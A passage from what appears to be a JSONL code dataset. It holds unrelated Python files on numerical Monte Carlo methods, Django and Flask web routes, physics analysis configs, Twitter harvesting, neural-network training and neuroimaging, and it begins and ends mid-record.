diff_nsam[lev] = min_samples_add[lev]\n opt_number_samples[lev] = nsam[lev] + diff_nsam[lev]\n nsam[lev] = opt_number_samples[lev]\n '''convert current number of samples and difference number of samples to integers'''\n for lev in range (current_number_levels+1):\n diff_nsam[lev] = int(diff_nsam[lev])\n nsam[lev] = int(nsam[lev])\n '''update variables and delete local variables'''\n self.number_samples = nsam\n self.difference_number_samples = diff_nsam\n self.previous_number_samples = previous_number_samples\n del(current_number_levels,BayesianVariance,min_samples_add,cgamma,gamma,cphi,mesh_parameters_current_levels,\\\n theta,tol,nsam,opt_number_samples,previous_number_samples,diff_nsam)\n\n '''\n function computing the mlmc estimator for the mean of the Quantity of Interest\n '''\n def ComputeMeanMLMCQoI(self):\n self.mean_mlmc_QoI = np.sum(self.difference_QoI.mean)\n\n '''\n function computing the total error:\n TErr = bias contrinution + statistical error contribution\n bias contribution B ~= abs(E^MC[QoI_{L}-QoI_{L-1}])\n statistical error contribution SE = \\sum_{i=0}^{L}(Var^MC[Y_l]/N_l)\n '''\n def ComputeTotalErrorMLMC(self):\n self.difference_QoI.bias_error = np.abs(self.difference_QoI.mean[self.current_number_levels])\n variance_from_bayesian = np.zeros(np.size(self.number_samples))\n for lev in range(self.current_number_levels+1):\n variance_from_bayesian[lev] = self.BayesianVariance[lev]/self.number_samples[lev]\n self.difference_QoI.statistical_error = self.settings[\"cphi\"].GetDouble() * np.sqrt(np.sum(variance_from_bayesian))\n TErr = self.difference_QoI.bias_error + self.difference_QoI.statistical_error\n self.TErr = TErr\n\n\nclass MultilevelMonteCarloResults(object):\n '''The base class for the MultilevelMonteCarloResults-classes'''\n def __init__(self):\n '''constructor of the MultilevelMonteCarloResults-Object\n Keyword arguments:\n self : an instance of a class\n '''\n '''Quantity of Interest'''\n self.QoI = []\n '''time cost'''\n self.time_ML = []\n '''level of QoI and time_ML'''\n self.finer_level = 0","sub_path":"applications/MultilevelMonteCarloApplication/python_scripts/test_cmlmc_utilities.py","file_name":"test_cmlmc_utilities.py","file_ext":"py","file_size_in_byte":34213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"391023591","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^user/add$', views.add_user, name='add_user'),\n url(r'^user/login', views.login_view, name='login'),\n url(r'^user/logout', views.logout_view, name='logout'),\n\n url(r'^list/add$', views.add_list, name='add_list'),\n url(r'^list/del$', views.del_list, name='del_list'),\n url(r'^list/finish$', views.finish_list, name='finish_list'),\n url(r'^list/finished$', views.get_finished_list, name='get_finished_list'),\n]\n","sub_path":"todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13222048","text":"import os, sys, FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process('MFVNeutralino')\nprocess.maxEvents = cms.untracked.PSet(input = cms.untracked.int32(-1))\nprocess.source = cms.Source('PoolSource', fileNames = cms.untracked.vstring('/store/user/tucker/mfv_gensimhlt_gluino_tau9900um_M400/mfv_reco_gluino_tau9900um_M400/4b815091ea4b0e75a52a1ca758900a17/reco_1_1_cNq.root'))\nprocess.options = cms.untracked.PSet(wantSummary = cms.untracked.bool(False))\nprocess.TFileService = cms.Service('TFileService', fileName = cms.string('reco_counting.root'))\nprocess.load('FWCore.MessageLogger.MessageLogger_cfi')\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 10000\n\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('Configuration.Geometry.GeometryIdeal_cff')\nprocess.load('Configuration.StandardSequences.MagneticField_38T_cff')\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\nprocess.load(\"Configuration.StandardSequences.Reconstruction_cff\")\nprocess.GlobalTag.globaltag = 'START53_V13::All'\n\ndebug = 'debug' in sys.argv\n\n\nbtag_srcs = [\n ('CSV', 'combinedSecondaryVertexBJetTags', (0.244, 0.679, 0.898)),\n ('JP', 'jetProbabilityBJetTags', (0.275, 0.545, 0.790)),\n ('JBP', 'jetBProbabilityBJetTags', (1.33, 2.55, 3.74)),\n ('SSVHE', 'simpleSecondaryVertexHighEffBJetTags', (1.74, 3.05)),\n ('SSVHP', 'simpleSecondaryVertexHighPurBJetTags', (2.,)),\n ('TCHE', 'trackCountingHighEffBJetTags', (1.7, 3.3, 10.2)),\n ('TCHP', 'trackCountingHighPurBJetTags', (1.19, 1.93, 3.41)),\n ]\n\nfrom RecoJets.JetProducers.kt4PFJets_cfi import kt4PFJets\nassert not hasattr(process, 'kt6PFJetsForIsolation')\nprocess.kt6PFJetsForIsolation = kt4PFJets.clone(rParam = 0.6, doRhoFastjet = True)\nprocess.kt6PFJetsForIsolation.Rho_EtaMax = cms.double(2.5)\n\nfor name in ['elPFIsoValuePU04PFIdPFIso', 'elPFIsoValuePU03PFIdPFIso', 'elPFIsoValueCharged03PFIdPFIso', 'elPFIsoValueNeutral04NoPFIdPFIso', 'elPFIsoValueCharged04PFIdPFIso', 'elPFIsoValueNeutral03NoPFIdPFIso', 'elPFIsoValueChargedAll04NoPFIdPFIso', 'elPFIsoValueChargedAll03PFIdPFIso', 'elPFIsoValueChargedAll04PFIdPFIso', 'elPFIsoValueGamma04PFIdPFIso', 'elPFIsoDepositNeutralPFIso', 'elPFIsoValueCharged04NoPFIdPFIso', 'elPFIsoValueGamma03NoPFIdPFIso', 'elPFIsoDepositChargedAllPFIso', 'elPFIsoValuePU04NoPFIdPFIso', 'elPFIsoDepositPUPFIso', 'elPFIsoValueNeutral03PFIdPFIso', 'elPFIsoValueCharged03NoPFIdPFIso', 'elPFIsoDepositChargedPFIso', 'elPFIsoValueChargedAll03NoPFIdPFIso', 'elPFIsoDepositGammaPFIso', 'elPFIsoValuePU03NoPFIdPFIso', 'elPFIsoValueGamma03PFIdPFIso', 'elPFIsoValueNeutral04PFIdPFIso', 'elPFIsoValueGamma04NoPFIdPFIso']:\n assert not hasattr(process, name)\nfrom CommonTools.ParticleFlow.Tools.pfIsolation import setupPFElectronIso\nprocess.gsfEleIsoSequence = setupPFElectronIso(process, 'gsfElectrons')\n\npobj = (process.pfParticleSelectionSequence + process.gsfEleIsoSequence + process.kt6PFJetsForIsolation)\n\nfor btag_name, bdisc_src, bdisc_mins in btag_srcs:\n for bdisc_min in bdisc_mins:\n obj = cms.EDAnalyzer('MFVNeutralinoBTagCounting',\n btag_src = cms.InputTag(bdisc_src),\n bdisc_min = cms.double(bdisc_min),\n jet_pt_min = cms.double(30),\n vertex_src = cms.InputTag('offlinePrimaryVertices'),\n muon_src = cms.InputTag('muons'),\n electron_src = cms.InputTag('gsfElectrons'),\n verbose = cms.bool(debug),\n )\n name = btag_name + 'pt30bd' + str(bdisc_min).replace('.','p')\n setattr(process, name, obj)\n pobj *= obj\nprocess.p = cms.Path(pobj)\n\nif __name__ == '__main__' and hasattr(sys, 'argv') and 'submit' in sys.argv:\n if 'debug' in sys.argv:\n raise RuntimeError('refusing to submit jobs in debug (verbose print out) mode')\n\n crab_cfg = '''\n[CRAB]\njobtype = cmssw\nscheduler = condor\n\n[CMSSW]\n%(dbs_url)s\ndatasetpath = %(dataset)s\npset = reco_counting.py\ntotal_number_of_events = -1\nevents_per_job = 100000\n\n[USER]\nui_working_dir = crab/reco_counting/crab_mfv_reco_counting_%(name)s\nreturn_data = 1\n'''\n\n testing = 'testing' in sys.argv\n\n def submit(sample):\n open('crab.cfg', 'wt').write(crab_cfg % sample)\n if not testing:\n os.system('crab -create -submit')\n os.system('rm crab.cfg')\n\n from JMTucker.Tools.Samples import mfv_signal_samples\n for sample in mfv_signal_samples:\n submit(sample)\n","sub_path":"MFVNeutralino/test/reco_counting.py","file_name":"reco_counting.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"164336195","text":"import json\nimport pprint\n\nfrom django.conf import settings\n\nimport tweepy\nfrom celery.decorators import task\nfrom decouple import config\n\nfrom .models import Tweet, TwitterUser\n\n\n# Script to download up to <= 3200 (the official Twitter API limit) of most recent tweets from a user's timeline\nclass TwitterHarvester(object):\n\t\"\"\"Create a new TwitterHarvester instance\"\"\"\n\tdef __init__(self, consumer_key, consumer_secret,\n\t\t\t\t access_token, access_token_secret,\n\t\t\t\t wait_on_rate_limit=False,\n\t\t\t\t wait_on_rate_limit_notify=False):\n\n\t\tself.auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\t\tself.auth.secure = True\n\t\tself.auth.set_access_token(access_token, access_token_secret)\n\t\tself.__api = tweepy.API(self.auth,\n\t\t\t\t\t\t\t\twait_on_rate_limit=wait_on_rate_limit,\n\t\t\t\t\t\t\t\twait_on_rate_limit_notify=wait_on_rate_limit_notify)\n\n\t@property\n\tdef api(self):\n\t\treturn self.__api\n\n# Instantiate an object of TwitterHarvester to use it's api object\n# make sure to set the corresponding flags as True to whether or\n# not automatically wait for rate limits to replenish\na = TwitterHarvester(settings.CONSUMER_KEY, settings.CONSUMER_SECRET,\n\t\t\t\t\t\tsettings.ACCESS_TOKEN, settings.ACCESS_TOKEN_SECRET,\n\t\t\t\t\t\twait_on_rate_limit=True,\n\t\t\t\t\t\twait_on_rate_limit_notify=True)\napi = a.api\n\n@task(name=\"check_username\")\ndef check_username(username):\n\ttry:\n\t\tuser = api.get_user(username)\n\texcept tweepy.error.TweepError:\n\t\treturn \"User not found.\"\n\n\ttwitter_user = TwitterUser.objects.get_or_create(username=username)[0]\n\n\ttwitter_logic.delay(username)\n\treturn \"Success.\"\n\n@task(name=\"get_tweets\")\ndef twitter_logic(username):\n\t# Use the cursor to skip the handling of the pagination mechanism\n\t# http://docs.tweepy.org/en/latest/cursor_tutorial.html\n\ttweets = tweepy.Cursor(api.user_timeline, screen_name=username, tweet_mode=\"extended\").items()\n\n\ttwitter_user = TwitterUser.objects.get(username=username)\n\n\twhile True:\n\t\t# As long as I still have a tweet to grab\n\t\ttry:\n\t\t\tdata = tweets.next()\n\t\t# When the cursor objects reaches the end, do a bulk insert into the DB to save time\n\t\texcept StopIteration:\n\t\t\tbreak\n\n\t\t# with open(\"data.json\", \"a\") as data_file:\n\t\t# \tdata_file.write(json.dumps(data._json, indent=4, sort_keys=True))\n\n\t\tif \"retweeted_status\" in data._json.keys():\n\t\t\tdata._json['retweeted'] = True\n\t\telse:\n\t\t\tdata._json['retweeted'] = False\n\n\t\tif data._json['entities']['hashtags']:\n\t\t\tdata._json['has_hashtags'] = True\n\t\telse:\n\t\t\tdata._json['has_hashtags'] = False\n\n\t\t# Using update_or_create since a tweet's data changes over time (people retweet, like, favourite)\n\t\t# The username and created_at kwargs are using for filtering whether the objects instance exists or not\n\t\t# while the defaults takes a dict with the object attributes we wish to update.\n\t\ttweet = Tweet.objects.update_or_create(username=twitter_user, created_at=data.created_at, defaults={'data': data._json})","sub_path":"data/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"511047923","text":"from collections import defaultdict\n\n\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n start = end = 0\n maxLen = 0\n dic = defaultdict(int)\n\n for end in range(len(s)):\n dic[s[end]] += 1\n\n while dic[s[end]] > 1:\n dic[s[start]] -= 1\n start += 1\n maxLen = max(maxLen, end + 1 - start)\n\n return maxLen\n\n\ntest = Solution()\nprint(test.lengthOfLongestSubstring('aab'))\n","sub_path":"python/3 Longest Substring Without Repeating Characters.py","file_name":"3 Longest Substring Without Repeating Characters.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"52920478","text":"#http://practice.geeksforgeeks.org/problems/parenthesis-checker/0\n\ndef checkParen_Balance(s):\n st=[]\n flag=True\n hmap={'}':'{',')':'(',']':'['}\n for i in s:\n if i in ['{','(','[']:\n st.append(i)\n else:\n if(len(st)!=0): \n item=st.pop()\n if item!=hmap[i]:\n flag=False\n break\n else:\n flag=False\n break\n\n if flag==True:\n print('balanced')\n else:\n print('not balanced')\n\nif __name__ == '__main__':\n t=int(input())\n while(t>0):\n s=input().strip()\n checkParen_Balance(s)\n t-=1\n","sub_path":"Strings/Parenthesis Checker.py","file_name":"Parenthesis Checker.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"59427277","text":"#!/usr/bin/env python3\n\nfrom PIL import Image, ImageDraw, ImageFont\n\n\ndef create_image(img_name, count, height, step_per):\n image = Image.open(img_name)\n img_w, img_h = image.size\n new_h = height\n new_w = round(new_h * img_w / img_h + 0.5)\n step = round(new_w * step_per / 100)\n image = image.resize((new_w, new_h))\n back = Image.new('RGBA', (new_w+step*count + round(new_h*1.3), new_h), color=(255, 255, 255))\n back_w, back_h = back.size\n draw = ImageDraw.Draw(back)\n font = ImageFont.truetype('ArialMT.ttf', round(new_h/1.2))\n for i in range(count):\n back.paste(image, (i*step, 0), mask=image)\n draw.text((back_w - round(new_h*1.3), round(new_h*0.05)), '/10', (0, 0, 0), font=font)\n back.save('result.png')\n back.show()\n\n#create_image(\"example.png\", 5, 200, 50)\n","sub_path":"picture.py","file_name":"picture.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"472969910","text":"import numpy as np\nimport scipy.io\nfrom nn import *\n\ntrain_data = scipy.io.loadmat('../data/nist36_train.mat')\nvalid_data = scipy.io.loadmat('../data/nist36_valid.mat')\ntest_data = scipy.io.loadmat('../data/nist36_test.mat')\n\ntrain_x, train_y = train_data['train_data'], train_data['train_labels']\nvalid_x, valid_y = valid_data['valid_data'], valid_data['valid_labels']\ntest_x, test_y = test_data['test_data'], test_data['test_labels']\n\nmax_iters = 50\n# pick a batch size, learning rate\nbatch_size = 5 ##\nlearning_rate = 3.5e-3 ## 3.5e-3 best\nhidden_size = 64\n\nnum_examples = train_x.shape[0]\n\nbatches = get_random_batches(train_x,train_y,batch_size)\nbatch_num = len(batches)\n\nparams = {}\n\n# initialize layers here\nnn_input_size = train_x.shape[1] # unrolled 32x32 image = 1024\nnn_output_size = train_y.shape[1] # 36 classes = 26 letters of alphabet + 10 digits\ninitialize_weights(nn_input_size,hidden_size,params,'layer1')\ninitialize_weights(hidden_size,nn_output_size,params,'output')\npre_training_weights_layer1 = params['Wlayer1'].copy() # copy for later visualization\n\n# with default settings, you should get loss < 150 and accuracy > 80%\nepoch_number = np.arange(max_iters)\nepoch_loss = np.zeros(epoch_number.shape)\nepoch_train_acc = np.zeros(epoch_number.shape)\nepoch_valid_acc = np.zeros(epoch_number.shape)\nfor itr in range(max_iters):\n total_loss = 0\n total_acc = 0\n for xb,yb in batches:\n # forward\n h1 = forward(xb,params,'layer1')\n probs = forward(h1,params,'output',softmax)\n\n # loss\n loss, acc = compute_loss_and_acc(yb, probs)\n \n # be sure to add loss and accuracy to epoch totals\n total_loss += loss\n total_acc += acc # sum up now and divide by number of batches at end to get avg.\n\n # backward\n delta1 = probs\n yb_idx = np.argmax(yb, axis=1)\n delta1[np.arange(probs.shape[0]),yb_idx] -= 1\n \n delta2 = backwards(delta1,params,'output',linear_deriv)\n backwards(delta2,params,'layer1',sigmoid_deriv)\n\n # apply gradient\n params['Woutput'] = params['Woutput'] - learning_rate * params['grad_Woutput']\n params['boutput'] = params['boutput'] - learning_rate * params['grad_boutput']\n \n params['Wlayer1'] = params['Wlayer1'] - learning_rate * params['grad_Wlayer1']\n params['blayer1'] = params['blayer1'] - learning_rate * params['grad_blayer1']\n \n total_loss = total_loss / num_examples # Per FAQ (@562) and @590 on Piazza, losses should be divided by number of samples\n total_acc = total_acc / len(batches)\n \n # Store data for plot:\n epoch_loss[itr] = total_loss # Per FAQ (@562) and @590 on Piazza, losses should be divided by number of samples\n epoch_train_acc[itr] = total_acc\n \n h1 = forward(valid_x,params,'layer1')\n probs = forward(h1,params,'output',softmax)\n _, valid_acc = compute_loss_and_acc(valid_y, probs)\n epoch_valid_acc[itr] = valid_acc\n \n if itr % 2 == 0:\n print(\"itr: {:02d} \\t loss: {:.2f} \\t acc : {:.2f}\".format(itr,total_loss,total_acc))\n\n# run on validation set and report accuracy! should be above 75%\nh1 = forward(valid_x,params,'layer1')\nprobs = forward(h1,params,'output',softmax)\n_, valid_acc = compute_loss_and_acc(valid_y, probs)\n\nprint('Validation accuracy: ',valid_acc)\nif False: # view the data\n for crop in xb:\n import matplotlib.pyplot as plt\n plt.imshow(crop.reshape(32,32).T)\n plt.show()\nimport pickle\nsaved_params = {k:v for k,v in params.items() if '_' not in k}\nwith open('q3_weights.pickle', 'wb') as handle:\n pickle.dump(saved_params, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# Produce plots for Q3.1 and Q3.2:\nimport matplotlib.pyplot as plt\n# Accuracy Plot:\nplt.figure()\nplt.plot(epoch_number, epoch_train_acc)\nplt.plot(epoch_number, epoch_valid_acc)\nplt.xlabel('Epoch Number')\nplt.ylabel('Accuracy')\nplt.title('Q3.1 - Learning Rate: {}, Batch Size: {} \\n Final Validation Set Accuracy: {:.4f}'.format(learning_rate, batch_size, valid_acc))\nplt.legend(['Accuracy on Training Set', 'Accuracy on Validation Set'])\nplt.show()\n\n# Loss Plot:\nplt.figure()\nplt.plot(epoch_number, epoch_loss)\nplt.xlabel('Epoch Number')\nplt.ylabel('Cross-Entropy Loss per Sample')\nplt.title('Q3.1 - Learning Rate: {}, Batch Size: {}'.format(learning_rate, batch_size, valid_acc))\nplt.show()\n\n# Report performance on test set for Q3.2:\nh1 = forward(test_x,params,'layer1')\nprobs = forward(h1,params,'output',softmax)\n_, test_acc = compute_loss_and_acc(test_y, probs)\nprint('Testing accuracy: ',test_acc)\n\n# Q3.3\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import ImageGrid\n\n# visualize weights here\nif True: # True to plot\n # For untrained layer 1:\n fig = plt.figure()\n grid = ImageGrid(fig, 111, nrows_ncols = (8,8), axes_pad=0.04)\n for i in range(pre_training_weights_layer1.shape[1]):\n grid[i].imshow(pre_training_weights_layer1[:,i].reshape(32,32))\n plt.show()\n \n # For trained layer 1:\n fig = plt.figure()\n grid = ImageGrid(fig, 111, nrows_ncols = (8,8), axes_pad=0.04)\n for i in range(params['Wlayer1'].shape[1]):\n grid[i].imshow(params['Wlayer1'][:,i].reshape(32,32))\n plt.show()\n \n# Q3.4\nconfusion_matrix = np.zeros((test_y.shape[1],test_y.shape[1]))\n\n# compute comfusion matrix here\n# Run NN forward on testing set (per @563 on Piazza):\nh1 = forward(test_x,params,'layer1')\nprobs = forward(h1,params,'output',softmax)\n# Get labels:\nprediction = np.argmax(probs, axis=1)\ntrue_class = np.argmax(test_y, axis=1)\n# Compute confusion matrix:\n# For each true label:\nfor label in range(test_y.shape[1]):\n # Get predicted values for each with this label:\n preds = prediction[true_class == label]\n # Count occurences of each unique value:\n vals, counts = np.unique(preds, return_counts=True)\n confusion_matrix[label,vals] = counts\n\nimport string\nplt.imshow(confusion_matrix,interpolation='nearest')\nplt.grid(True)\nplt.xticks(np.arange(36),string.ascii_uppercase[:26] + ''.join([str(_) for _ in range(10)]))\nplt.yticks(np.arange(36),string.ascii_uppercase[:26] + ''.join([str(_) for _ in range(10)]))\nplt.ylabel('Actual Class')\nplt.xlabel('Predicted Class')\nplt.show()","sub_path":"PS5/submit 2/cwcolomb/run_q3.py","file_name":"run_q3.py","file_ext":"py","file_size_in_byte":6228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"36280619","text":"\n# https://drive.google.com/file/d/16kQgkuy-NSdIt5TXjR9dO3mgPB0liuoL/view?usp=sharing\n\n# Пользователь вводит номер буквы в алфавите. Определить, какая это буква.\n\nchar = int(input('Введи номер буквы\\n'))\nif char > 26:\n print(\"Это не буква\")\n quit()\ncorrection = 96\nf_char = chr(char + correction)\nprint(f_char)","sub_path":"lesson_1/les1_task_6.py","file_name":"les1_task_6.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"284404861","text":"# Jet Container\nimport logging\nfrom python.py4Vector import Py4Vector\n\nlogging.getLogger('share/miniSL.log')\n\n\ndef jetPre2Pre(t):\n \"\"\"Setup jets in the pre-selection (going from Grid to Local)\"\"\"\n isMC = (t.mcChannelNumber > 0) # true for > 0; false for < 0\n jets = [] # List of all jets as Py4Vectors\n for j,mv2c20 in enumerate(t.jet_mv2c20):\n jet = Py4Vector('Jet {0}'.format(j))\n jet.SetPtEtaPhiE(t.jet_pt[j],t.jet_eta[j],t.jet_phi[j],t.jet_e[j])\n setattr(jet,'jet_name','Jet {0}'.format(j))\n setattr(jet,'mv2c20',mv2c20)\n setattr(jet,'jvt',t.jet_jvt[j])\n #setattr(jet,'track_m',t.jet_track_m[j])\n #setattr(jet,'track_pt',t.jet_track_pt[j])\n jet_true_flavor = -1 if not isMC else t.jet_true_flavor[j]\n setattr(jet,'true_flavor',jet_true_flavor)\n jets.append(jet)\n\n logging.info(\" Setup Jets.\")\n \n return jets\n\n return\n\n\n\ndef jetBase(t): \n \"\"\"Setup jets in another selection -- applying a selection on local files\"\"\"\n jets = [] # List of all jets as Py4Vectors\n\n for j,mv2c20 in enumerate(t.jet_mv2c20):\n jet = Py4Vector('Jet {0}'.format(j))\n jet.SetPtEtaPhiE(t.jet_pt[j],t.jet_eta[j],t.jet_phi[j],t.jet_e[j])\n setattr(jet,'mv2c20',mv2c20)\n if not t.jet_true_flavor:\n setattr(jet,'true_flavor',-1)\n else:\n setattr(jet,'true_flavor',t.jet_true_flavor[j])\n setattr(jet,'jvt',t.jet_jvt[j])\n setattr(jet,'jet_name','Jet {0}'.format(j))\n #setattr(jet,'track_m',t.jet_track_m[j])\n #setattr(jet,'track_pt',t.jet_track_pt[j])\n jets.append(jet)\n\n logging.info(\" Setup Jets.\")\n\n return jets\n\n\n","sub_path":"pyMiniSL/jetSelection.py","file_name":"jetSelection.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"270380917","text":"\"\"\"\n==================================================\nCompute MNE-dSPM inverse solution on single epochs\n==================================================\n\nCompute dSPM inverse solution on single trial epochs restricted\nto a brain label.\n\n\"\"\"\n# Author: Hari Bharadwaj \n#\n# Copyright 2015. All Rights Reserved.\n\nimport numpy as np\nimport mne\nimport pylab as pl\nfrom mne.minimum_norm import apply_inverse_epochs, read_inverse_operator\nfrom mne.minimum_norm import apply_inverse\nfrom anlffr.tfr import tfr_multitaper, rescale, plot_tfr\n\nfroot = '/autofs/cluster/transcend/hari/voices/'\nsubj = '093302'\npara = 'speech'\nconds = ['MSSB', 'SWSB']\nsss = True\nif sss:\n ssstag = '_sss'\nelse:\n ssstag = ''\n\nfname_inv = froot + '/' + subj + '/' + subj + '_' + para + ssstag + '-inv.fif'\nlabel_name = 'speech_manual-lh'\nfname_label = froot + '/' + subj + '/' + subj + '_%s.label' % label_name\n\n# Using the same inverse operator when inspecting single trials Vs. evoked\nsnr = 3.0 # Standard assumption for average data but using it for single trial\nlambda2 = 1.0 / snr ** 2\n\nmethod = \"dSPM\" # use dSPM method (could also be MNE or sLORETA)\n\n# Load operator and labels\ninverse_operator = read_inverse_operator(fname_inv)\nlabel = mne.read_label(fname_label)\n\npowers = []\nitcs = []\n\nfor k, cond in enumerate(conds):\n\n # Read epochs\n fname_epochs = (froot + '/' + subj + '/' + subj + '_' + para +\n '_' + cond + ssstag + '-epo.fif')\n epochs = mne.read_epochs(fname_epochs)\n times = epochs.times\n # Get evoked data (averaging across trials in sensor space)\n evoked = epochs.average()\n\n # Compute inverse solution and stcs for each epoch\n # Use the same inverse operator as with evoked data (i.e., set nave)\n # If you use a different nave, dSPM just scales by a factor sqrt(nave)\n stcs = apply_inverse_epochs(epochs, inverse_operator, lambda2, method,\n label, nave=evoked.nave)\n\n stc_evoked = apply_inverse(evoked, inverse_operator, lambda2, method)\n\n stc_evoked_label = stc_evoked.in_label(label)\n\n # Average over label (not caring to align polarities here)\n label_mean_evoked = np.mean(stc_evoked_label.data, axis=0)\n\n #######################################################\n # Calculating label TFR stuff\n\n epo_array = np.zeros((len(stcs), 1, stcs[0].shape[1]))\n nVerts = stc_evoked_label.shape[0]\n nTopVerts = 1\n corr_list = np.zeros(nVerts)\n for k in range(nVerts):\n corr_list[k] = np.corrcoef(label_mean_evoked,\n stc_evoked_label.data[k, :])[0, 1]\n topverts = np.argsort(corr_list)[-nTopVerts:]\n for k, stc in enumerate(stcs):\n epo_array[k, 0, :] = stc.data[topverts, :].mean(axis=0)\n\n freqs = np.arange(5., 130., 2.)\n n_cycles = freqs * 0.250\n power, itc, faketimes = tfr_multitaper(epo_array, epochs.info['sfreq'],\n freqs, n_cycles=n_cycles,\n time_bandwidth=2.0, zero_mean=False,\n verbose='DEBUG')\n powers += [power, ]\n itcs += [itc, ]\n\npower_contrast = 20. * np.log10(powers[0] / powers[1])\npower_contrast_scaled = rescale(power_contrast, times, baseline=(-0.1, 0.),\n mode='zscore')\nplot_tfr(power_contrast, times, freqs)\npl.show()\n","sub_path":"voices/voices_stc.py","file_name":"voices_stc.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"596398139","text":"import datetime\n\nfrom flask import Blueprint, render_template, request, session, jsonify\n\nfrom app.models import House, Order\n\norder_blue = Blueprint('order', __name__)\n\n\n# 我的订单\n@order_blue.route('/order/', methods=['GET'])\ndef orders():\n return render_template('orders.html')\n\n\n# 客户订单\n@order_blue.route('/lorder/', methods=['GET'])\ndef lorders():\n return render_template('lorders.html')\n\n\n# 创建订单\n@order_blue.route('/create_order/', methods=['POST'])\ndef create_order():\n id=request.form.get('id')\n sd=request.form.get('sd')\n ed=request.form.get('ed')\n user_id = session.get('user_id')\n sd = datetime.datetime.strptime(sd, '%Y-%m-%d')\n ed = datetime.datetime.strptime(ed, '%Y-%m-%d')\n days = (ed - sd).days\n house = House.query.filter(House.id == id).first()\n price = house.price\n amount = days*price\n order = Order()\n order.user_id = user_id\n order.house_id = id\n order.begin_date = sd\n order.end_date = ed\n order.days = days\n order.house_price = price\n order.amount = amount\n order.status = 'WAIT_ACCEPT'\n order.add_update()\n return jsonify({'code':200})\n\n\n# 获取我的订单\n@order_blue.route('/get_my_order/', methods=['GET'])\ndef get_my_order():\n user_id = session.get('user_id')\n orders = Order.query.filter(Order.user_id == user_id).all()\n order_dict = [order.to_dict() for order in orders]\n data = {'code': 200, 'order': order_dict}\n return jsonify(data)\n","sub_path":"app/order_views.py","file_name":"order_views.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"190677496","text":"import numpy as np\n \nN, K = map(int, input().split())\nA = list(map(int, input().split()))\nM = 10**9 + 7\n \ndef prod(X):\n ans = 1\n for x in X:\n ans = ans * x % M\n return ans\n \ndef solve():\n # Case 1: N == K\n if N == K:\n return prod(A)\n \n # Case 2: ans is negative\n if all(a < 0 for a in A) and K % 2 == 1:\n return prod(sorted(A)[-K:])\n \n # Case 3: ans is positive\n posA = np.int64(sorted([a for a in A if a >= 0]))\n negA = np.int64(sorted([a for a in A if a < 0]))\n \n ans = 1\n if K % 2 == 1: # Keep the largest positive\n ans = ans * posA[-1] % M\n posA = posA[:-1]\n \n # Construct largest value by pairing items\n if len(posA) % 2 == 1: # Discard the one with smallest absolute value\n posA = posA[1:]\n if len(negA) % 2 == 1: # Discard the one with smallest absolute value\n negA = negA[:-1]\n pos_pairs = posA[0::2] * posA[1::2]\n neg_pairs = negA[0::2] * negA[1::2]\n pairs = np.concatenate([pos_pairs, neg_pairs], axis=0).tolist()\n pairs = sorted(pairs, reverse=True)[:K//2]\n ans = ans * prod(pairs) % M\n \n return ans\n \nprint(solve())","sub_path":"Python_codes/p02616/s513349207.py","file_name":"s513349207.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"106324189","text":"''' Extractor classes based on pre-trained models. '''\n\nimport numpy as np\nimport pandas as pd\n\nfrom pliers.extractors.image import ImageExtractor\nfrom pliers.extractors.base import Extractor, ExtractorResult\nfrom pliers.filters.image import ImageResizingFilter\nfrom pliers.stimuli import ImageStim, TextStim\nfrom pliers.stimuli.base import Stim\nfrom pliers.support.exceptions import MissingDependencyError\nfrom pliers.utils import (attempt_to_import, verify_dependencies,\n listify)\n\nimport logging\n\ntf = attempt_to_import('tensorflow')\nhub = attempt_to_import('tensorflow_hub')\nattempt_to_import('tensorflow.keras')\nattempt_to_import('tensorflow_text')\n\n\nclass TFHubExtractor(Extractor):\n\n ''' A generic class for Tensorflow Hub extractors \n Args:\n url_or_path (str): url or path to TFHub model. You can\n browse models at https://tfhub.dev/.\n features (optional): list of labels (for classification) \n or other feature names. The number of items must \n match the number of features in the output. For example,\n if a classification model with 1000 output classes is passed \n (e.g. EfficientNet B6, \n see https://tfhub.dev/tensorflow/efficientnet/b6/classification/1), \n this must be a list containing 1000 items. If a text encoder \n outputting 768-dimensional encoding is passed (e.g. base BERT),\n this must be a list containing 768 items. Each dimension in the \n model output will be returned as a 